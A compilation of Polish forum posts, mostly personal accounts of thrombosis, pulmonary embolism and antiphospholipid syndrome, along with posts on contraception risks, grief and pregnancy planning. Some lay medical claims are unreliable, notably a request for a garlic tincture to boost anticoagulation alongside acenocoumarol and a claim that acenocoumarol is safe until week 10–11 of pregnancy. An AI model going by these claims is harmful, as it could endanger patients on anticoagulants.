szukam mam z zespołem antyfosfolipidowym...
5 miesiecy temu urodziłam przez cięcie cesarskie synka.Mati zmarł po
tygodniu.A mi po 2 miesiacach badań, zatorze płuc i zakrzepicy obu nóg
zdiagnozowano zespół antyfosfolipidowy.Bardzo chcę zajść za jakiś czas w
następną ciążę.Z drugiej strony obawiam się o swoje zdrowie, a co ważniejsze
o zdrowie dziecka.Czy znajdzie się ktoś z podobnymi doświadczeniami, ale
pozytywnymi skutkami?

· 

kurde, czy ja bede kiedys zdrowa???:(
Dziewczyny..mam 24 lata, stracilam mojego synka wczesniaka, przeszlam juz
zator pluc (w wiekszosci przypadkow smiertelny), duza zakrzepice...
Myslalam, ze wszystko ku dobremu idzie, bo i z lekow zaczelam powoli schodzic
i zylki sie ladnie rekanalizuja i cykle sie normuja...
A tu cos nowego, diagnoza: podejrzenie wrzodu na zoladku..
Od jakiegos tygodnia mam jazdy z tym swoim zoladkiem, wczoraj myslalam, ze
kopyta wyciagne, tak bolalo ((
Dostalam leki,stosuje netode mojej mamy, czyli na czczo len zaparzam
mlekiem...
Ja wiem, ze to troche nie w temacie, ale moze znacie jakies metody na
zaleczenie tego badziewia???
pytalam sie na zdrowiu, ale sie okazuje, ze nikt ze wrzodami nie mial do
czynienia...
A ja chce za kilka miesiecy probowac popracowac nad fasolka

a może ktoś ma dalekosiężne plany na luty???
pytam, bo ja wczesniej nie moge ((
W listopadzie 2003 mialam cc, a pozniej zator pluc i zakrzepice.
Musze sie dobrze przygotowac, zrobic wszystkie badania itd.oczywiscie jestem
w trakcie.. )
No i plan mam taki,ze przyszpile mojego meza w lutym
Moze ktoś mi będzie towarzyszyl? Oj..w sumie to najlepiej by bylo, zebym tu
samiutenka zostala, a wszystkie przysylalybyscie mi ciazowe fluidki
No..ale sie pytam.
buziaki

Nie wiem jak się mają papierosy do leków hormonalnych (chociaż przy pigułkach,
zwłaszcza tych z większą ilością odpowiednika estrogenu zaleca sie ograniczyć
palenie-zwiększa ryzyko zakrzepicy),przeczytałam tylko gdzieś, że palenie może
wpływać na wydzielanie prolaktyny, chyba podwyższa się jej poziom, a to też
może być jedną z przyczyn hirsutyzmu. Ale ja to przeczytałam, pytałam o to
lekarza i powiedział mi , że palenie nie ma wpływu na prolaktynę. Jednak to
jasne, że papierosy szkodzą, na hormony też pewnie działają, pewnie nie
ograniczają działania leków ale mogą pogłębiać ich skutki uboczne. Nie wiem
jaki skład ma Androcur, bierzesz też Diane, chyba rzeczywiście za dużo palisz,
możesz mieć kłopoty z żyłami, pojawiają Ci się pajączki na łydkach? Może
spróbuj szę trochę ograniczyć albo nawet bardzo, pól paczki dziennie..Wiem ,że
to trudne, ale chyba ważniejsze jest zdrowie i nie chodzi mi o płuca itp.
Chodzi mi o sprawy hormonalne, bo jeśli zaszkodzi ci mieszanka hormonów z
papierosami i nie będziesz mogła brać takich leków to co wtedy? P.S Tylko nie
odbierz tego tek, że ja się wymądrzam...sama palę, ale jak na razie udało mi
się ograniczyć. powodzenia,pozdrawiam.

· 

whisky sie zglasza....prosze o pomoc...
ze zdrowia tu mnie przygnalo..jest taki skuteczny Naganiacz:))
mam nadzieje, ze mi pomozecie...
Od jakiegos 1.5 miesiaca drecza mnie stany podgoraczkowe..tak 37.0-37.2 caly
czas:(( przy tym jestem zmeczona,poce sie, chce mi sie spac, takie jakies
wewnetrzne napiecie czuje, nie chce mi sie wylazic z chalupy ani spotykac ze
znajomymi...Drecza mnie jakies koszmarne sny, po ktorych budze sie mokra i
roztrzesiona...
Mam za soba nieciekawy rok: trudna ciaze, warowanie przy inkubatorze, smierc
dziecka, zator pluc, zakrzepice, problemy na uczelni, czepianie sie durnych
ludzi..Na stale jestem pod kontrola Instytutu hametologii, biore leki
przeciwkrzepliwe (sintrom).Zdiagnozowano u mnie zespol antyfosfolipidowy
(podwyzszone antykardiolipiny i antykoagulant toczniowy).
Jesli chodzi o badania, to morfologia jest ok, kreatynina i mocznik z krwi
tyz, USG dooplerowskie naczyn krwionosnych ok, rentgen klatki piersiowej ok
(mecza mnei bole w prawym ramieniu, stad ten rentgen i dodatkowo USG, ale nic
tam nikt nie widzi..).Poza tym zrobilam hormony i USG macicy (w listopadzie
2003 mialam cesarskie ciecie)...wszystko ok.

Za kilka miesiecy planujemy ciaze...ale jak ja mam sie do niej przygotowac,
jesli meczy mnie ta temperatura i to nie wiadomo skad...nawet sie zaszczepic
przeciw WZW nie moge:(((
Moze to byc uwarunkowane psychicznie?? Moze ktos doradzi mi cos na ta
temperaturke..?? Tak zeby mi to nie kolidowalo z braniem sintromu (moj
hematolog jest strasznie wrazliwy i bulbi sie jak chce sie wspomagac
neifarmakologicznie...chyba dlatego, ze dziwnie reaguje na sintrom...)

prosze o pmoc

Mam teraz wolną miseczkę :(
Wet mówi, ze Figla słabe serducho doprowadziło do zakrzepicy zył. Łapki odmowiły
mu posłuszenstwa z powodu obrzeku płuc, serca i innych narzadów, ktore uciskaly
kregoslup. Nie mozna bylo temu zapobiec ani mu pomoc.

Pochowalismy go na wrzosowisku... w ogrodzie lezy juz za duzo psich i kocich
przyjaciół, ktorzy byli chowani tam przez kilkadziesiat lat.

Mam za duza kuwete... dwie puste miseczki... kilka puszek whiskasa, ktorych Leon
nie zje na raz...Leon chodzi po domu i zagląda w rozne kocie kryjówki, odkąd
przynieslismy pusty transporterek.

Moj mąż mówi, że w dwupokojowym mieszkaniu z małą Żwyiołową Dziewczynką dwóm
kotom będzie ciasno. Że żywiołowe dziewczynki ciągną koty za wąsy i ogony. I że
nie ma już miejsca w ogrodzie, bo raz w naszym domu już stała pusta miseczka.

Nie chcę, żeby Leon był sam.

Ale co to może byc? Twoja odpowiedz jeszcze bardziej mnie zmartwiła!!!
Właśnie kilka tygodni temu wyszłam ze szpitala, gdzie dokładnie mnie badano i
testowano Miałam chyba wszystkie mozliwe badania układu krwionośnego,
tomografie i wiele innych na serce i płuca. Podejrzewają zakrzepice. Jednak
niestety nie miałam badań hormonalnych, a to pewnie w tym tkwi przyczyna
powiększonych grudek Montgomer'ego.
Czy wiesz może jakie powinnam zrobić hormony? Co to wszystko może oznaczać?
Bo ja jak nie jestem zmuszona bólem "do nie wytrzymania" lekarzy omijam duzym
łukiem, a to nie boli więc sprawę wciąż odkładam...
pozdr,
A.

Pierwsza rzecz, o ktorej nalezy pomyslec- zwlaszcza
zwazywszy pogode w ostatnich tygodniach- to zakrzepica
lub zapalenie zyl w nodze. Badanie dopplerowskie zyl plus
oznaczenie d-dimerow powinno potwierdzic lub wykluczyc to
podejrzenie.
Jesli to nie to, to moze uszkodzenie miesnia spowodowane
nadmiernym wysilkiem fizycznym, lub uszkodzonym obuwiem.
W koncu mozliwe sa tez zaburzenia jonowe- sa upaly,
pocimy sie, moze po prostu lapie cie kurcz z braku potasu
i magnezu.

ja zaczynałam od 60-tki, potem stopniowo w górę: 70mg, 80mg, teraz(20 tydzień
ciąży) mam zwiększyć na 100mg + od tygodnia acard.
Sama kurde nie wiem co z tą setką, bo mam wrażenie że mam po takiej dawce
zawroty głowy...
Dawka heparyny w dużej mierze zależy od zdiagnozowanej choroby i wywiadu...
Dla mnie po zatorze płuc i zakrzepicy 40mg byloby niewystarczającą dawką
profilaktyczną.
Ale i prawdopodobieństwo powtórki z historii - np.zakrzepicy żył głębokich,
jest w ciąży znacznie większe.

hello,
ja dla odmiany jestem dożywotnio na acenokumarolu - z rozpoznaniem zespołu
antyfosfolipidowego , po zatorze płuc i zakrzepicy żył głębokich po kolei jak
leci w obydwu nogach.
Czy Marcumar bazuje na acenokumarolu? Cuś mi się tak kojarzy, ale nie
sprawdzalam..Z tego, co mówiła mi moja ginka, kiedy zaczynaliśmy starania o
dziecko, dopuszczalne jest branie acenokumarolu do 10-tego, 11-tego tygodnia
ciąży.Ważne, żeby przejść na heparynę przed rozpoczęciem II trymestru.
To wtedy acenokumarol może miec działanie teratogenne.

pozdrawiam i trzymam kciuki, żeby wsio było ok

aalooo...
co do zespolu antyfosfolipidowego to jest spora grupa przeciwcial, ktora albo
wspolnie, albo pojedynczo aktywuje chorobe...
Ja akurat mam antykardiolipiny i antykoagulanta toczniowego...
Wszystkie te przeciwciala wystepuja u normalnego zdrowego człowieka...ale w
malej ilości...Jesli rosnie liczba przeciwcial ktoregos z rodzaju...to dzieja
sie takie ładne kwiatki jak u mnie na przyklad:(
Poziomy przeciwcial skacza jak im sie spodoba...i lekarze nie za bardzo sa w
stanie kontrolowac te skoki...moga jedynie zapobiegac za pomoca np heparyny
nastepstwom takich akcji - szczegolnie dotyczy to ciazy...w ktorej skoki
przeciwcial i ich duzo wieksza liczba, prowadza do przykrych nastepstw.

Co do osteoporozy......]

Faktycznie osteoporoza poheparynowa daje sie szybciutko cofnac - ja biore
clexane nieprzerwanie od 5 miesiecy, a jeszcze nie jestem w ciazy....Po
domniemanym porodzie mam zalecenie od hemetolog swojej , zeby zrobic
denzyksometrie kosci i zobaczyc jak sie sprawy maja.

Poza tym doszla u mnie endometrioza w bliznie po cc , ktora mialam wycieta pod
koniec marca....Zespol antyfosfolipidowy w pelnej krasie - po cc mialam zator
pluc , a pozniej zakrzepice porzadna...
Synek zmarł po tygodniu życia - był wczesniakiem z 27 tygodnia w mojej
pierwszej ciązy..

Mam zaufana ginke:) ktora zna sie na tym badziewiu - zespole
antyfosfolipidowym - i umie sukcesywnie prowadzic takie ciaze....
Mam nadzieje , ze nie bede Jej pierwsza porazka:(

pozdrawiam

Jaka metoda przy ryzyku zakrzepicy?
Witam!

Kiedys bralam pigulki, ale zle sie czulam mimo zmian na inne (bole glowy). Po
wywiadzie ginekolog kazala mi je odstawic, tym bardziej, ze moja matka i obaj
dziadkowie maja zylaki i u mnie rowniez od kilku lat sie pojawiaja. Dodatkowo
babcia miala zator pluc i potem zmarla na zawal serca (w sumie miala 2 zawaly
i 1 zator). Dlatego tez pigulek dwuskladniekowych nie moge uzywac

Jestem mloda osoba w stalym zwiazku, dzieci jednak przez najblizsze 5 lat nie
chce miec. I jak mam sie teraz zabezpieczac zeby bylo pewnie? Nadmienie od
razu, ze spirala/wkladka odpada! Czy prezerwatywa + NPR wystarczy? A moze
polecacie cos innego?

Persony nie chce kupowac bo jest strasznie droga + co miesiac testery za 60zl
to stanowczo za duzo, ale 100% (lub nawet 99%) pewnosci i tak nie daje

Moze to tylko przypadek, ale moze to tez byc poczatek zakrzepicy.
Przeczytaj odpowiedz Pani Doktor na podobne pytanie:
forum.gazeta.pl/forum/72,2.html?f=216&w=12012314&a=12030270
Poczytaj tez caly ten watek.

Pigulki mozesz odstawic bez wiedzy lekarza, ale przy nastepnej wizycie musisz o
tym jej powiedziec.
Jesli okaze sie, ze rzeczywiscie to problemy z zylami lub wyjdzie na jaw, ze
mialas w rodzinie choroby zatorowo-zakrzepowe to jest to dla ciebie koniec z
pigulkami dwuskladnikowymi. Mozesz jedynie jeszcze sprobowac Cerazette
(minipigulka).
Na pocieszenie powiem ci, ze jest wiele dziewczyn nie mogacych brac pigulek
(np. ja, tez bralam, ale musialam odstawic). A zawsze lepiej na czas odstawic i
meczyc sie z prezerwatywami niz chorowac na zakrzepice (straszna choroba, jak
zakrzep sie urwie i powedruje do serca, mozgu lub pluc mozna nawet umrzec).

Pozdrowionka i badz dobrej mysli!

U mnie było najgorzej. Dostałam zakrzepu żył - na Cileście! A ginekolog mi
mówił że to mała dawka hormonów. Wszystkie badania były w poprządku, przed
wprowadzeniem tabletek. Nagle zaczęła mnie bolec łydka i taka się zrobiła
grubsza jakby. Poszłam do mojej lekarki rodzinnej, zbadała mnie i wysłała na
ostry dyżur z podejrzeniem zakrzepicy żył łydki. Tam - idioci - bez badania
mnie wypuściuli, i jeszcze nakrzyczeli że tamta lekarka się nie zna! Poszłam
prywatnie na usg żył - i oczywiście zakrzep był, do połowy uda. Długo byłam na
Cleksanie, potem na acenokumarolu. Atykioncepcję hormonalną mam z głowy.
Spiralki nie chca mi założyć, bo nie rodziłam. No to jedziem na prezerwatywach.
Ale po urodzeniu to będę chciała spiralke.
Aha, i cos mam nieszczęście do tych powikłań - moja koleżanka po Femodenie
dostała zatoru w płucach, długo leżała w Krakowie na Skawińskiej - i wykryli u
niej jakies zaburzenia w krzepnięciu krwi.

Moja przyjaciółka biorąc pigułki dostała zakrzepicę. W lewej nodze. Na szczęscie
zakrzep się nie oderwał i nie spowodował ani zatoru płuc, ani udaru mózgu. Kilka
dni leżała w szpitalu, a mimo, że od tamtego wypadku minęło już prawie pół roku
to ona do dziś musi brać lekarstwa. A pigułki brała tylko 10 miesięcy.
Tak więc uważajcie i badajcie często krew!

Witaj, nie chce cie straszyc, ale to byl wlasnie powod dla ktorego odstawilam
plastry po wiecej niz roku stosowania - taki dlawiacy ucisk w piersiach. Plus
pare innych nieprzyjemnych objawow, ktore ustapily po rezygnacji z evry,
podobnie, jak uczucie dusznosci. Zastanawiam sie tylko, czy to byl rzeczywisty
wplyw evry czy moze silna autosugestia (oj, naczytalam sie na tym forum o
zakrzepicy i powiklaniach po-anty...). W kazdym razie chwilowo nie uzywam nic,
bo na pytanie o inne pigulki pan doktor polecil mi Yasmine, o ktorej na
zagranicznych forach mozna nieciekawe rzeczy wyczytac. W zwiazku z tym nie biore
nic, i zastanawiam sie, co dalej

Pozdrowienia, Ala

do poloznika
mam pytanko..prosze o opinie
endo w bliznie zauwazylam dwa cykle temu jako guzek pod lewym koncem blizny
po cc..Jestem non stop na lekach przeciwzakrzepowych po przebytym zatorze pluc
i zakrzepicy, no i rozpoznaniu zepsolu antyfosfolipidowego..Od dwoch miesiecy
jestem na clexanie, bo chcielismy zaczac starania o bobo.No ale ta endo wylazla:
( Moja ginka twierdzi, ze nie zajde z tym w ciaze...albo bedzi emi bardzo
trudno..jak wspominalam wczesniej 22 marca mam zabieg wyciecia tego
badziewia..Czy to, ze jestem na lekach przeciwzakrzepowych jakos specjalnie
predystynuje do takiego sposobu dzialania: w sensie zabiegu ??? A co wazniejsze:
( jak wyglada statystycznie rozwoj endo w bliznie po cc?? Trzeba przecinac
macice, czy raczej nie powinno byc takiej potrzeby? Mogla sie gdzies bardziej
rozpanoszyc..czy raczej to tylko ten guzek ktory wyczuwam? No i czy podzielasz
Polozniku opinie, ze dwa -trzy tygodnie po zabiegu bedziemy mogli zaczac
starania?? (jesli bedzie to prosty zabieg , bez ciecia macicy oczywiscie..)
Zastanawiam sie rowniez czemu ginka nie zaproponowala mi laparoskopii, tylko
ciecie pod narkoza...
pozdrawiam

Jezeli odpowiesz "tak" na ponizsze pytania:
1. palisz papierosy?
2. bierzesz pigulki antykoncepcyjne?
3. duzo czasu spedzasz na siedzaco, np za kierownica, albo przy komputerze?

to nie zwlekaj, tylko sprawdz, czy nie masz zakrzepicy zylnej, bo mozesz, najprosciej mowiac, pasc trupem na zator pluc.

Gość portalu: Doki napisał(a):

> Jezeli odpowiesz "tak" na ponizsze pytania:
> 1. palisz papierosy?
> 2. bierzesz pigulki antykoncepcyjne?
> 3. duzo czasu spedzasz na siedzaco, np za kierownica, albo przy komputerze?
>
> to nie zwlekaj, tylko sprawdz, czy nie masz zakrzepicy zylnej, bo mozesz,
najpr
> osciej mowiac, pasc trupem na zator pluc.

Tak to moze byc VTE jak sugeruje Doki zwlaszcza jezeli spelniasz w.wym warunki.
Lekarz powinien ci dac skierowanie na badanie ultradzwiekowe.
Technik glowica ultradzwiekowa najpierw robi skan nie uciskajac nogi za mocno a
pozniej robi drugi skan przyciskajac ja mocno. Za drugim skanem naczynia zylne
powinny sie splaszczyc bo krew jest z nich wypchnieta - jezeli sie nie daja
splaszczyc to moze oznaczac obecnosc zakrzepu w zyle. Taki zakrzep moze sie w
koncu urwac i poplynac z pradem krwi do pluc. Male zakrzepiki pluca potrafia
rozpuscic, ale duze ... lepiej nie mowic.
Jezeli masz chwilami dusznosc albo kaszel to lec na ostry dyzur.
Ale oczywiscie moze to byc cos bardziej lagodnego niemniej lepiej sprawdzic
raczej szybciej niz pozniej.

Przyznam, ze jakos mi sie to wszystko nie trzyma kupy. Jak dlugo bylo dobrze z
Twoim dziadkiem po operacji? To pytanie pierwsze.
Dalej: ile lat liczy sobie twoj dziadek? Czy poza tym cos mu dolega (np serce,
pluca...)? Jakie poza tym przyjmuje leki?
Ostre zapalenie stawow, tak nagle, w jednej tylko nodze? Dziwne, choc nie
niemozliwe. Z jakiego powodu- septyczne? Jak je leczono? Jesli srodkami
przeciwzapalnymi, to nic dziwnego, ze czynnosc nerek sie pogorszyla, bo takie
jest dzialanie uboczne tych lekow, zwlaszcza w polaczeniu z odwodnieniem...
Dlaczego wlasciwie dziadek sie odwodnil? Mial biegunke, wymioty, byl
nieprzytomny i nie chcial/nie mogl przyjmowac plynow?
Gdy chory po operacji prostaty skarzy sie na bole nogi, to w pierwszej
kolejnosci mysle o zakrzepicy zylnej, a nie o zapaleniu stawow. Czy i jak
wykluczono zakrzepice?

Mysle, ze tu jest za wiele niewiadomych. Rak prostaty niezmiernie rzadko
przerzutuje do nerek, a zreszta taki przerzut, ktory spowodowalby znaczace
obnizenie czynnosci, dalby tez inne objawy (bole ledzwi, krwiomocz...) i nie
przebiegalby tak ostro. Ale byc moze dziadek ma przerzuty do mozgu i dlatego
odstapiono od leczenia.

Nie osmiele sie doradzac co robic, gdy nie wiem o co chodzi.

Przy sepsie nie zawsze wystepuje goraczka. Natomiast nie ma pojedynczego objawu,
ktory wskazuje na sepse.
Bole konczyn dolnych (chyba zyly)- co przez to rozumiesz? Jesli masz stwierdzona
zakrzepice zylna konczyn dolnych, a teraz nagle pojawila sie dusznosc, to
podejrzewalbym zator pluc i z tym to poszedlbym na izbe przyjec, i to
natychmiast. Zator pluc zabija.

nic z tego:) te czasy krzepniecia sa prawidlowe...
nadkrzepliwosc krwi daje takie powiklania jak zakrzepice(atakuje konczyny
dolne), zator pluc, zawal serca (jesli skrzep pojdzie do serca).
Nie jestem lekarzem, ale nadkrzepliwosc krwi mi towarzyszy dosyc uparcie...
Indeks APTT mam powyzej 50, a mialam blisko 100.Twoje wyniki sa jak najbardziej
w normie..
dretwienie palcow u rak moze byc spowodowane zlym krazeniem.

u mnie tak dokladnie jest..zespol antyfosfolipidowy mnie dreczy, jestem po
zakrzepicy i zatorze pluc...co tydzien biegam na wskaznik i jestem stala
bywalczynia Instytutu Hematologii.
Branie tych lekow nie jest bezpieczne, szczegolnie acenokumarolu.
I podobnei jak inni ciekawa jestem Alicjo czemu chcesz rozrzedzac krew.

z czosnku...?
sie mi klikło...sorki
Pierwsza rzecz, ze potrzebuje czegos na uodpornienie...co kilkanascie dni
miewam jakies stany podgoraczkowe, bole miesni i takie tam.Poza tym za kilka
miesiecy planuje zajsc w ciaze, ktora apowiada sie na trudna, wiec chce
przygotowac moj uklad odpornosciowy do radzenia sobie z infekcjami nie daj Boze.
Druga rzecz mam problemy ze zbyt duza krzepliwoscia (jestem po duzej zakrzepicy
i zatorze płuc ze zdiagnozowanym zespolem antyfosfolipidowym), wiec potrzebuje
czosnku jako srodka wspomagajacego rozrzedzanie krwi (obecnie biore
acenokoumarol)...
Slyszalam ze istnieje przepis na nalewke z czosnku, ale nie moge takowego
zlokalizowac:((
Pomozcie mi prosze...

Tak , można mieć grzyba któy nie wyjdzie w baaniach kału. Szczególnie często
dzieje sie tak w przypadku grzybic pleśniowych, na przykład nasej rodzinnej ,
dominującej fusariozy z jak mawiam przyległościami. Fusaria lubią siedzieć w
ścianach naczyń - u siostry zasiedliły sobie na przykład płuca, dając fałszywy
obraz zakrzepicy, która nie reagowala na typowe leczenie p/zakrzepowe. u mnie z
kolei grzyby siedzą w ukł. pokarmowym i oddechowym, ale pięc posiewów kalu ,
wykonanych w dwóch różnych miejscach nic nie wykazało. Hodowla przez 3 dni
wydaje mi się za krótka, podobno do wychodowania pleśniowców potrzeba więcej
czasu. tylko, ale to już moje kombinacje, jak takie fusaria mogą być w sianach
naczyń, to czy w ogóle da sięje złapać w kale??? Ponoć nawet przerosnięta
candida, im dlużej bytuje w jelicie, tym bardziej może się przytiierdzic do
ścianek jelit i , paradoksalnie, u bardziej, dłużej chorego,może być mniej
wykrywalna niż u mniej chorego. tak mówi moja lekarka.
Zaburzenia jelitowe nie zawsze występują w grzybicy plesniowej. Przykład- moja
siostra, która objawów gastrycznych nie ma w ogóle, tylko oddechowo-ogólne.
Jak więc widać , bez badań nic nie da się stwierdzić. A objawy czy boreliozy,
czy grzybicy , a może jeszcze kilku innych chorób, o których nie wiem, bardzo
podobne... szlag z tymi chorobami, prawda...Pozdrawiam raz jeszcze. K

takie pytanie w zwiazku z nerwica.

nie jestem do konca "zdiagnozowana" ale trafilam do lekarza z powodu strasznych
boli m.in.klatki piersiowej i na poczatek uslyszlam o nerwicy. ale jakos lekarz
mi nic nie mowi. dostaje jakies w malej dawce leki ale przeciwdepresyjne.
zastanawiam czy to ma sens??

poza roznymi lekami, ktore mam od malenkosci (czesc sie nasilila) czasem mnie
jeszcze cos boli i dretwieja mi nozki. moja hipochondria mi podpowiada ze to
zakrzepica ale juz sama nie wiem.
no i pytam czy moze wiesz jakiego rodzaju badania sa potrzebne do wykluczenia
fizycznej choroby?? (zwiazanej z dretwieniem bo standardowe na
temat:serce,pluca,krew mam prawidlowe)

pozdrawiam i gratuluje postepow (i zazdroszcze;)

Poprostu na niedrożność.Tato chorował na raka płuc z przerzutami do mózgu.
A niedożnośc się poprostu przypałętała.Miał też zator tętnicy kreskowej.Moj tato
miał problemy z zaparciami, leczył się też na zakrzepicę.
Chciałam żeby umarł nagle, żeby nie stracił nadziei, żeby nie patrzył na mnie
błagalnym wzrokiem prosząc o ratunek, żeby nie cierpiał...
Był królem życia, kochał życie ...
Do końca miał nadzieję , że to nic takiego, że go zoperują, zgodził się na
zabieg.Wiedziałam , że umrze, że tego nie przeżyje, ale nie mogłam zabrać mu
nadziei.Ryczałam a on głaskał mnie zimnymi rękami po policzku.
Żałuję tylko jednego, że nie zrypałam na izbie przyjęć pani doktor, która
przyszła do mego taty(który cierpiał) dopiero po godzinie. Nie pomogło mi nawet
to, że kiedyś tam pracowałam.Wiedziałam, że należy jej się opier...ol, ale bałam
się, że gdy tatę przyjmą na oddział może być zdany na jej łaskę i niełaskę.

Opuchnięte nogi
Moja teściowa 3 lata temu przeszła operację i radioterapię po raku macicy.
Systematycznie jeździliśmy do oddalonego wiele kilometrów centrum onkologii. 3
miesiące temu spuchnęła jej jedna noga,ale nie bolała, lekarz rodzinny leczył
ją tabletkami, które nie pomogły.Po 2 tygodniach pojechaliśmy prywatnie do
ortopedy - ten po wykonaniu USG stwierdził zakrzepicę i przepisał serię 21
tabletek w brzuch. Oczywiście nie pomogło - znów 30 zastrzyków - powiedział
,że po tej serii na pewno przejdzie. A tu wczoraj po 20 zastrzyku drugiej
serii zaczęła jej puchnąć kostka drugiej nogi.Natychmiast zdecydowaliśmy, aby
jednak dla sprawdzenia pojechać wcześniej niż w ustalonym terminie do Centrum
Onkologii. A tu....... lekarz wybadał jej węzeł w okolicach szyi. Zlecił
natychmiast biopsję węzła (wynik za tydzień), prześwietlenie płuc, usg i
cytologię.Powiedział,że nie podoba mu się ten węzeł, a kiedy wyszła się
ubierać - ze smutkiem kiwał ręką i stwierdził,że ta opuchlizna chyba pochodzi
od tego węzła i boi się,że to nawrót choroby. Nie wiem co o tym myśleć,co
robić. Czy za późno pojechaliśmy do Centrum??? Dlaczego lekarz rodzinny i
ortopeda nic nie zasugerował,że może być ta opuchlizna związana z przebytą
chorobą??? Wiele myśli i pytań kłębi się w głowie...

Nawrót choroby?
To jeszcze raz ja, ale z innym tytułem. Proszę odezwijcie się.

"Moja teściowa 3 lata temu przeszła operację i radioterapię po raku
macicy.Systematycznie jeździliśmy do oddalonego wiele kilometrów centrum
onkologii. 3 miesiące temu spuchnęła jej jedna noga,ale nie bolała, lekarz
rodzinny leczył ją tabletkami, które nie pomogły.Po 2 tygodniach pojechaliśmy
prywatnie do ortopedy - ten po wykonaniu USG stwierdził zakrzepicę i przepisał
serię 21 tabletek w brzuch. Oczywiście nie pomogło - znów 30 zastrzyków -
powiedział
,że po tej serii na pewno przejdzie. A tu wczoraj po 20 zastrzyku drugiej
serii zaczęła jej puchnąć kostka drugiej nogi.Natychmiast zdecydowaliśmy, aby
jednak dla sprawdzenia pojechać wcześniej niż w ustalonym terminie do Centrum
Onkologii. A tu....... lekarz wybadał jej węzeł w okolicach szyi. Zlecił
natychmiast biopsję węzła (wynik za tydzień), prześwietlenie płuc, usg i
cytologię.Powiedział,że nie podoba mu się ten węzeł, a kiedy wyszła się
ubierać - ze smutkiem kiwał ręką i stwierdził,że ta opuchlizna chyba pochodzi
od tego węzła i boi się,że to nawrót choroby. Nie wiem co o tym myśleć,co
robić. Czy za późno pojechaliśmy do Centrum??? Dlaczego lekarz rodzinny i
ortopeda nic nie zasugerował,że może być ta opuchlizna związana z przebytą
chorobą??? Wiele myśli i pytań kłębi się w głowie..."

Powazne powiklania wystepuja rowniez podczas brania pigulek (a nawet po
zaprzestaniu). Ja np zamierzam sie wkrotce poddac badaniu ktore sprawdzi,czy w
nogach nie mam zakrzepow.Tabletki antykoncepcyjne ogromnie zwiekszaja ryzyko
powstania zakrzepicy.Jesli skrzep oderwie sie i dotrze do pluc lub serca, moze
sie to zakonczyc smiercia.
Nie bede tu pisac o innych skutkach ubocznych pigulek, bo nie chcialabym wyjsc
na ich totalna przeciwniczke,a za to fanatyczke spiral. Bralam pigulki wiele
lat i zachecalam inne dziewczyny,ale ostatni rok czulam sie naprawde
koszmarnie.Objawy zniknely po odstawieniu i zalozeniu spiralki. Gdybyscie
widzialy moje nogi jeszcze niedawno...
Spirala z miedzia nie powoduje na pewno tak silnej ingerencji w organizm,jak
codzienna dawka hormonow. Sama musialam dojrzec do mysli,ze to nie bedzie na
pewno obojetne dla mojego organizmu.Skoro ekolodzy mowia o szkodliwosci moczu
kobiet lykajacych hormony dla srodowiska, to jakie szkody musza one wyrzadzac
naszym cialom?
Czesto mysle o tym,ze kobiety maja naprawde przechlapane. Wielki mamy ten wybor-
hormony,spirala, ktorej tez duzo osob sie boi, albo ryzyko niechcianej ciazy.
Zdrowie albo ciaza?

Może ale nie musi, zawroty głowy moga świadczyć o 150 rzeczach. Zakrzepic jest
kilka rodzajów (plus to, że dotyczą różnych organów), więc objawów też sporo.
Ale coś mi świta, że głównym objawem jest raczej obrzęk. Pogadaj z lekarzem
najlepiej.

16%VOL
22%VAT

takie tam... forum homeopatia

hello nutka
mam 24 lata ..jestem po zatorze płuc i duuuzej zakrzepicy, obecnie na lekach
przeciwzakrzepowych...
mialam badania jakie tylko...jesli chodzi o roznice miedzy tomografia z
kontrastem dozylnym a scyntygrafia, to scyntygrafia , przynajmniej dla mnie,
byla duzo mniej nieprzyjemna...przy tomografii kontrast wstrzykuja
automatycznie...przy scyntygrafii izotopy podaje pielegniarka przed badaniem.
Tomografie mialam kilka razy i nie spieszy mi sie do kolejnej..chociaz tak
naporawde to zupelnie nic strasznego...
jesli masz jakies pytania, to słuze pomoca
pozdrawiam

ja po zatorze pluc i zakrzepicy, tonie badan i diagnozie zespolu
antyfosfolipidowego biore leki przeciwkrzepliwe...
Na poczatku bralam clexane (zastrzyki podskorne), a teraz jestem na sintromie.
Mam spora nadkrzpliwosc i na lekach bede prawdopodobnie non stop...
Nie piszesz o diagnozie, czyli o rzeczy najwazniejszej...

doradzcie prosze...:(((
Szlag mnie juz trafia, a to przez ciagly stan podgoraczkowy, ktory meczy mnie
od jakiegos poltora miesiaca..praktycznie non stop 37.0-37.2.
Morfologia jest ok, sprawdzalam...Zrobie jeszcze badania moczu i cytologie,
bo nie wiem ani ja ani moj lekarz hematolog, gdzie przyczyny szukac.
Mam za soba USG naczyn krwionosnych, rentgen pluc,zbadany poziom kreatyniny i
mocznika we krwi, zbadane poziomy hormonow...-wszystko jest ok
Mam za soba ciezki rok:trudna ciaze, smierc dziecka, pozniej zator pluc,
zakrzepice, problemy na uczelni..Nie ukrywam, ze moja kondycja psyche jest
kiepska.I czasami sie zastanawiam czy te stany podgoraczkowe moga byc efektem
dzialania nerwow..Jestem ptzy tym zmeczona, ciagle chce mi sie spac, nie mam
na nic ochoty, nie chce mi sie wychodzic z domu, spotykac ze znajomymi.
Wczoraj snil mi sie koszmar i po wybudzeniu w srodku nocy nie moglam sie
uspokoic przez dobra godzine:bylam mokra, a mialam wrazenie ze jest mi zimno
i nie moglam przestac sie telepac...Pierwszy raz tak zareagowalam na sen..
Ludziska...doradzcie prosze jakie badania moge zrobic zeby znalezc przyczyne
tych stanow podgoraczkowych:(((
A i ewentualnie napiszcie, czy spotkaliscie z sie z sytuacja, w ktorej to
nerwy byly przyczyna takich objawow temperaturowych.
z gory dziekuje

mam 24 lata..moj synek zmarl rok temu, a mnie dopadlo tysiac roznych paskudnych
rzeczy : mialam zator pluc, czesto smiertelny... a ja sobie z nim jakos
poradzilam ;) potem na poczatku nierozpoznana duza zakrzepice,ktora zaczelam
leczyc po dwoch tygodniach..tez dalam rade...lekarze sie dziwili, ze nikt
wczesniej tego nie rozpoznal..pzoniej bylam tak przestraszona, ze jak tylko
dopadal mnie jakis bol, to dochodzialm do wniosku...ze to pewnie nowotwor.
Przeczytalam mnostwo opracowan medycznych i zdanie ma co do tego jedno: jak sie
nie ma dystansu do tego , co sie czyta, to moze to tylko zaszkodzic...Ja
wzielam gleboki oddech i stwierdzialm ze nie czas jeszcze umierac. A jesli
przyjdzie takowy, to jestem juz chyba na to gotowa: kilka razy godzilam sie w
myslach ze smiercia. Poki co ucze sie cieszyc małymi rzeczami i doceniac to ,
co mam:)...Czekam na Twoje wyniki z nadzieja, ze beda ok:)
Trzymam kciuki!

Olszynko-serafinko,

